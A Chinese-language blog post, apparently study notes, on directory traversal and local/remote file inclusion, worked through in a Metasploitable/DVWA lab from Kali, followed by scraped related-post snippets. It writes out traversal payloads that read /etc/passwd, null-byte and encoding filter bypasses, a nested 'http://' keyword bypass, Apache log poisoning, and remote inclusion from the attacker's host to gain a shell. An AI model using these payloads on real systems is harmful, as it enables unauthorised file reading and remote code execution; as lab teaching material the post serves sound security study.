文章的格式也许不是很好看,也没有什么合理的顺序

完全是想到什么写一些什么,但各个方面都涵盖到了

能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道

目录遍历漏洞:

应用程序如果有操作文件的功能,限制不严格会导致可以访问到WEB目录意外的文件

目录遍历漏洞和文件包含漏洞本质以及利用方法一样

一定要论区别的话:

目录遍历:对本操作系统的文件进行读取

文件包含:1:LFI本地文件包含,和目录遍历一致;2:RFI远程文件包含

漏洞原因:目录权限限制不严格

漏洞利用示例:

启动Metasploitable靶机:192.168.163.129

启动Kali机器:192.168.163.132

在DVWA的这个目录存在文件包含漏洞:本地文件包含

我们可以在Metasploitable中修改配置文件以开启远程文件包含漏洞:

sudo vi /etc/php5/cgi/php.ini

然后输入/allow_url进行搜索:找到这里,修改成On

然后重启Apache服务:

sudo /etc/init.d/apache2 restart

这时候Metasploitable就会存在远程文件包含漏洞了

目录遍历漏洞的特征要注意:

?page=xxx.php

?home=xxx.html

?index=xxx.jsp

?file=content

常用漏洞验证方式:

1:../../../../../../(多少个../都行,越多越好)/etc/passwd

URL上这一串东西的意义:../返回上级目录,当返回到根目录时候再../还是根目录,然后直接进入linux系统的passwd文件

2.file:///etc/passwd(这里是文件包含漏洞,不过利用方法一致)

3.http://xxxxx

前两者用途:可以读取到目标系统的机密文件

远程文件包含用途:可以构建一个带有shellcode的网站,使目标访问,进而得到shell(虽然是低权限shell)

注意事项:

1.有时候?page=../../../etc/passwd,显示找不到passwd.php文件,这是目标系统开启了过滤机制

绕过办法:PHP5.3版本以前的,可以用一个空字符%00来解决,示例:

?page=../../../etc/passwd%00

这时候就算目标机器补上一个.php,也无所谓

2.有的服务器会过滤非法字符,比如/\$&.*等,我们可以采用一些编码来处理

路径方面,linux一定是/,windows通常是\,但有可能是/,实际中可以多次发送根据结果来得到答案

编码方面:示例

URL编码:

../     %2e%2e%2f

..\     %2e%2e%5c

..\     %252e%252e%255c (双层URL编码)

Unicode/UTF-8编码:

../     ..%c0%af     ..%u2216

..\     ..%c1%9c

编码工具:之前介绍的很多工具都有,我用Burp来举例

可以用URL编码后的字符做尝试:成功

上边说到本地文件包含来查看文件内容

通常认为本地文件包含漏洞无法执行代码

万事没有绝对,有极其特殊的方式可以执行代码

比如:利用访问日志

当我们访问一个WebServer例如Apache时候,就会有访问日志

会记录下来访问IP和访问的URL等一些简单的信息

我们用nc连接到目标的80端口:发送一段这样的东西

然后会在apache的日志中插入一段php代码:然后对日志文件chmod,改为可执行权限

如果失败了的话,多层chmod,使访问目录的所有层都赋予权限,然后利用文件包含,有机会执行代码(不一定成功)

远程文件包含示例:

我先用NC侦听本地80端口:

远程文件包含到Kali机器:这是输入Kali的IP,至于URL随便写

然后一直显示连接状态

查看NC,发现收到了连接请求:

nc只是获得了连接请求,实际没用

下面展示实际使用方式

利用Kali本机的Apache服务

到/var/www/html目录下,新建文本 1.txt,写入上边的php代码(或者搞个木马脚本都行,这里为了方便)

保存之后开启Apache服务

然后测试:

成功执行了ls命令

到这一步就相当于拿到了shell

最后:

我们可以查看DVWA这里的远程文件包含的源码:

LOW级别:直接获取文件名

 <?php$file = $_GET['page']; //The page we wish to display ?> 

MEDIUM级别:过滤特殊字符,导致无法远程文件包含

解决方法:编码

比如http://192.168.163.132======>%68%74%74%70%3a%2f%2f192.168.163.132

如果失败,就可以只针对http://中的某个字符,比如/进行编码

如果还是失败,可以进行一种巧妙的方法

非常经典的关键字绕过方法:

hthttp://tp://192.168.163.132

我在一个http://中插入了一个http://,服务器只会识别一次,如果两个分开写都会被过滤,穿插来写,只会过滤一个

 <?php$file = $_GET['page']; // The page we wish to display // Bad input validation$file = str_replace("http://", "", $file);$file = str_replace("https://", "", $file);        ?> 

HIGH级别:规定写死,只能包含include.php

这种方式基本无解了,没有漏洞,或者我水平低下找不到漏洞

 <?php$file = $_GET['page']; //The page we wish to display // Only allow include.phpif ( $file != "include.php" ) {echo "ERROR: File not found!";exit;}?> 

总结:

远程文件包含漏洞出现概率远远小于本地文件包含漏洞

但是远程文件包含漏洞更容易被利用

大学生,生活不易,如果有大佬愿意赞赏,在此多谢

转载于:https://www.cnblogs.com/xuyiqing/p/9974461.html

Kali学习笔记31:目录遍历漏洞、文件包含漏洞相关推荐

  1. 文件上传漏洞_通达OA前台任意文件上传漏洞+文件包含漏洞导致getshell

    点击蓝字|关注我们 通达OA前台任意文件上传漏洞 +文件包含漏洞导致getshell 一.漏洞介绍/Profile/ 通达OA介绍: 通达OA(Office Anywhere网络智能办公系统)是由北京 ...

  2. 什么是文件包含漏洞?文件包含漏洞分类!

    网络安全是安全产业的重要组成部分,也是国家高度重视且大力支持的重点方向,在当下十分受关注,正因如此,越来越多的人选择转行学习网络安全.提及网络安全,大家应该都知道网络安全中有很多漏洞,今天这篇文章主要 ...

  3. WEB漏洞—文件包含漏洞

    介绍 所谓文件包含漏洞,故名思意,就是在文件中包含(引用)了其他文件所导致的漏洞.例如有些函数在不同代码中的作用都是相同的,在这里我们可以称呼它为"变量",那么这时程序员就会将该& ...

  4. Python学习笔记(21)-目录遍历

    点此查看 零基础Python全栈文章目录及源码下载 本文目录 1. 简介 2. 实例 1. 简介 遍历一个目录下所有的文件夹和文件是非常有用的事情,在python中os模块提供了非常简单易行的遍历方法 ...

  5. Kali学习笔记21:缓冲区溢出实验(漏洞发现)

    上一篇文章,我已经做好了缓冲区溢出实验的准备工作: https://www.cnblogs.com/xuyiqing/p/9835561.html 下面就是Kali虚拟机对缓冲区溢出的测试: 已经知道 ...

  6. 结合pikachu和DVWA靶场学习文件包含漏洞

    结合pikachu和DVWA靶场学习文件包含漏洞 基本概念 包含的定义 文件包含的定义 相关函数 条件 分类 本地文件包含(Local File Inclusion,简称LFI) 定义 前提: 示例: ...

  7. 【网络安全】文件包含漏洞总结

    目录: 介绍 文件包含漏洞分类 LFI RFI PHP 的文件包含函数 漏洞示例代码 利用任意文件读取 使用 PHP 封装协议 php://filter php://input RFI getshel ...

  8. 89.网络安全渗透测试—[常规漏洞挖掘与利用篇5]—[文件包含漏洞详解实战示例]

    我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录 一.文件包含漏洞详解 1.文件包含漏洞相关概念 2.PHP文件包含漏洞相关概念 3.PHP文件包含漏洞利用:`构 ...

  9. 文件包含漏洞(LFI、RFI)(require()、include()函数)

    文章目录 一.文件包含漏洞分类 二.文件包含漏洞原理 三.文件包含函数 四.测试是否存在本地文件包含(LFI)漏洞 五.文件包含漏洞实例 "百度杯"CTF比赛 2017 二月场in ...

最新文章

  1. python turtle基本语法_Python 基础语法-turtle篇
  2. python发明者叫什么-编程语言简史:有人不喜欢花括号,于是他发明了 Python
  3. Keras蚂蚁金服大赛实战——自然语言处理技术
  4. publishing failed with multiple errors resource is out of sync with the file system--转
  5. SQL注入——SQLmap的进阶使用(十五)
  6. Hibernate关联映射(一对多/多对多)
  7. android ios语音转码,手机如何将语音转文字?这几种方法真简单,安卓苹果通用...
  8. POJ 1426 Find The Multiple BFS
  9. 把一个数组的值赋给另一个数组(VB.NET)
  10. Android 查看內存使用
  11. 微信小程序中生成二维码
  12. 新浪云应用 mysql_云应用开发之新浪SAE读写云端数据库MySQL
  13. Python+tkinter应用程序设置背景图片
  14. 把安卓手机屏幕投射到电脑上
  15. [0CTF 2016]piapiapia BUUCTF 详细writeup
  16. oracle 查询ddl记录,Oracle记录用户DDL操作脚本
  17. 王者nba服务器维护,《王者NBA》合服公告
  18. 计算机应用基础说课方案,广东省“XX杯”说课大赛计算机应用基础类一等奖作品:PPT写字动画的制作教学设计方案.doc...
  19. 与电容有关的几个经典电路--微分、积分、采样与电荷泵
  20. sqlmap--分析---less-1

热门文章

  1. 开发做甲方还是乙方_建筑行业的职场小白求职时是选择做甲方还是乙方?
  2. 怎么把excel文件转成dta_Word怎么转成PDF文件?首选就是这个转换方法!
  3. element vue 获取select 的label_Vue动态组件component的深度使用
  4. mysql 安装完成后需要做的配置
  5. CentOS 关闭、启动网卡
  6. MySQL 错误 #1055
  7. kafaka生产者消费者demo(简易上手demo)
  8. edittext怎么输入默认内容覆盖_Linux Shell 输入与输出重定向
  9. python排序算法实现_十大排序算法python实现
  10. linux如何把postgresql添加到环境变量_如何搞清楚PostgreSQL的环境变量 ?